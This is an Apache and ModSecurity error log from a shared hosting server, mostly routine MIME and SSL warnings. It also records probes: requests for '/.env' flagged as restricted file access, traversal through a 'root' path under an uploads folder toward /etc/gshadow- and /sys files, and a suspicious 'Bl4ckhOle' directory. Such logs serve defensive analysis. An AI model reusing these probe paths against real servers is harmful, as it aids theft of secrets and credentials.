[Fri Jul 17 08:20:31.621596 2026] [security2:error] [pid 2008451:tid 2008451] [client 64.227.190.95:34850] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/wp-json/"] [unique_id "almYdwPhWp7RzB65h36ddgAAAA0"]
[Fri Jul 17 08:20:32.409040 2026] [security2:error] [pid 2002425:tid 2002425] [client 64.227.190.95:34862] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/"] [unique_id "almYeKUJv0yl2bIgVrkMJwAAABU"]
[Fri Jul 17 08:20:32.984994 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:60178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:33.044688 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:60184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:33.427283 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:33.900381 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:33.992775 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:34.002860 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:34.006674 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:34.669359 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:34.760000 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:35.033925 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:35.358051 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:35.410136 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:35.528307 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:35.594784 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:35.613394 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:35.617797 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:35.718591 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYSTM:00/subsystem/drivers/button/unbind
[Fri Jul 17 08:20:35.829562 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:60342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:37.292330 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:37.377848 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:37.389639 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:37.458992 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:37.463759 2026] [security2:error] [pid 1993584:tid 1993584] [client 47.82.48.255:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/plesk/php/5.5/"] [unique_id "almYfVxP5-SsqbGuGB2j8AAAAAA"]
[Fri Jul 17 08:20:37.463786 2026] [security2:error] [pid 1993584:tid 1993584] [client 47.82.48.255:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/plesk/php/5.5/"] [unique_id "almYfVxP5-SsqbGuGB2j8AAAAAA"]
[Fri Jul 17 08:20:37.491006 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:37.936083 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:38.131332 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:38.429287 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:38.480120 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:38.730432 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:39.030934 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:39.257148 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:39.483076 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/battery/bind
[Fri Jul 17 08:20:39.936415 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:40.191041 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:60610] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:40.651298 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:40.656249 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:40.749142 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:40.929980 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.045452 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.049865 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.124816 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.125453 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.295200 2026] [core:error] [pid 2005917:tid 2005917] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/cirrus/drivers/pci:cirrus/new_id
[Fri Jul 17 08:20:41.475747 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.475763 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.631405 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.697735 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.736060 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.775772 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.776543 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.816983 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.898757 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:41.929658 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:42.246875 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:42.379203 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:42.513756 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:42.547735 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:53908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:42.766827 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty58/subsystem/ttyS1/closing_wait
[Fri Jul 17 08:20:42.897089 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/secondarymx
[Fri Jul 17 08:20:43.028725 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:43.883919 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:04/subsystem/drivers_probe
[Fri Jul 17 08:20:43.886894 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:43.909447 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:43.953860 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:44.030585 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:44.168175 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:44.269075 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:44.408501 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:44.903029 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:54050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:44.962880 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:45.764660 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:45.870353 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYhXjA8yK8B7kryx3gfgAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1152&page_105=1622
[Fri Jul 17 08:20:45.870399 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almYhXjA8yK8B7kryx3gfgAAAAk"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1152&page_105=1622
[Fri Jul 17 08:20:45.964876 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:46.149603 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:46.771047 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:47.135314 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:47.233873 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:47.414588 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:47.777702 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:47.991810 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:48.064340 2026] [core:error] [pid 1999089:tid 1999089] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/thermal/bind
[Fri Jul 17 08:20:48.064728 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/thermal/bind"] [unique_id "almYiEMCK1PbyQ2qe6ABDQAAABQ"]
[Fri Jul 17 08:20:48.064758 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/thermal/bind"] [unique_id "almYiEMCK1PbyQ2qe6ABDQAAABQ"]
[Fri Jul 17 08:20:48.236313 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:48.432698 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:48.524082 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:48.988717 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:49.202086 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:49.352104 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:49.442737 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:49.521903 2026] [ssl:error] [pid 1993584:tid 1993584] (5)Input/output error: [client 66.85.158.91:54292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:49.624593 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:49.721126 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:49.811847 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:50.387305 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:54348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:50.433989 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:50.452952 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:50.561546 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:50.746305 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:50.836152 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:51.297420 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:51.402733 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:51.438829 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:55734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:51.649553 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:55738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:51.781061 2026] [security2:error] [pid 1993659:tid 1993659] [client 4.188.76.224:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almYi5OFLENLI63GGOEJGQAAAAQ"]
[Fri Jul 17 08:20:51.781238 2026] [security2:error] [pid 1993659:tid 1993659] [client 4.188.76.224:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almYi5OFLENLI63GGOEJGQAAAAQ"]
[Fri Jul 17 08:20:51.781457 2026] [security2:error] [pid 1993659:tid 1993659] [client 4.188.76.224:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almYi5OFLENLI63GGOEJGQAAAAQ"]
[Fri Jul 17 08:20:51.782052 2026] [security2:error] [pid 1993659:tid 1993659] [client 4.188.76.224:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "almYi5OFLENLI63GGOEJGQAAAAQ"]
[Fri Jul 17 08:20:52.257312 2026] [security2:error] [pid 1993668:tid 1993668] [client 4.188.76.224:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almYjBAi3pC6yjXGNq18KwAAAAU"]
[Fri Jul 17 08:20:52.322388 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:52.396279 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:52.801814 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:53.075966 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:53.167273 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:53.220687 2026] [security2:error] [pid 1994446:tid 1994446] [client 4.188.76.224:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almYjV2NhE8i6ppze4essQAAAAs"]
[Fri Jul 17 08:20:53.220887 2026] [security2:error] [pid 1994446:tid 1994446] [client 4.188.76.224:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almYjV2NhE8i6ppze4essQAAAAs"]
[Fri Jul 17 08:20:53.221147 2026] [security2:error] [pid 1994446:tid 1994446] [client 4.188.76.224:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almYjV2NhE8i6ppze4essQAAAAs"]
[Fri Jul 17 08:20:53.221439 2026] [security2:error] [pid 1994446:tid 1994446] [client 4.188.76.224:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almYjV2NhE8i6ppze4essQAAAAs"]
[Fri Jul 17 08:20:53.635591 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:54.047201 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:55876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:54.218514 2026] [security2:error] [pid 1993619:tid 1993619] [client 4.188.76.224:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almYjo1dLClkUfK_dfHgWQAAAAI"]
[Fri Jul 17 08:20:54.476855 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:54.674907 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:54.786497 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:54.977057 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:55.078290 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/4-0/position
[Fri Jul 17 08:20:55.270242 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:55.663628 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:55.846619 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:55.896708 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:56014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:56.034916 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/gshadow-
[Fri Jul 17 08:20:56.225438 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:56.773608 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:56098] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:56.863731 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:57.046642 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:57.137677 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:57.229272 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:57.321153 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:57.506568 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:20/subsystem/drivers/thermal/bind
[Fri Jul 17 08:20:57.696441 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:13/subsystem/drivers/ec/unbind
[Fri Jul 17 08:20:57.915864 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
